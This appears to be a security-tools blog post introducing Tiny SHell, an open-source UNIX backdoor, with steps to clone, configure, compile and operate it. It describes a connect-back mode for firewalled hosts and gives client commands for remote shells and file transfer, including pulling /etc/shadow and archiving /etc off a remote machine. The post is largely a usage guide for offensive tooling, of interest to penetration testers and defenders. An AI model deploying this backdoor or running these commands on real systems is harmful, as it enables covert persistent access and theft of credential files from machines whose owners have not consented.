Tiny SHell – An open-source UNIX backdoor

by do son · September 28, 2017

Tiny SHell

Tiny SHell is an open-source UNIX backdoor that compiles on all variants, has full pty support, and uses strong crypto for communication.

Install

git clone https://github.com/creaktive/tsh.git

* Before compiling Tiny SHell

First of all, you should set up your secret key, which is located in tsh.h; the key can be of any length (use at least 12 characters for better security).
It is advised to change SERVER_PORT, the port on which the server will be listening for incoming connections.
You may want to start tshd in “connect-back” mode if it runs on on a firewalled box; simply uncomment and modify CONNECT_BACK_HOST in tsh.h.

* Compiling Tiny SHell

Run “make <system>”, where <system> can be any one of these: linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

* How to use the server

It can be useful to set $HOME and the file creation mask before starting the server:

% umask 077; HOME=/var/tmp ./tshd

* How to use the client

Make sure tshd is running on the remote host. You can:

– start a shell:

./tsh <hostname>

– execute a command:

./tsh <hostname> “uname -a”

– transfer files:

./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot

Note: if the server runs in connect-back mode, replace the remote machine hostname with “cb”.

* About multiple file transfers

At the moment, Tiny SHell does not support scp-like multiple and/or recursive file transfers. You can work around this bug by simply making a tar archive and transferring it. Example:

./tsh host “stty raw; tar -cf – /etc 2>/dev/null” | tar –xvf –

* About terminal modes

On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C and other control keys do not work correctly. Fix it with:

% stty intr “^C” erase “^H” eof “^D” susp “^Z” kill “^U”

* About security

Please remember that the secret key is stored in clear inside both tsh and tshd executables; therefore you should make sure that no one except you has read access to these two files. However, you may choose not to store the real (valid) key in the client, which will then ask for a password when it starts.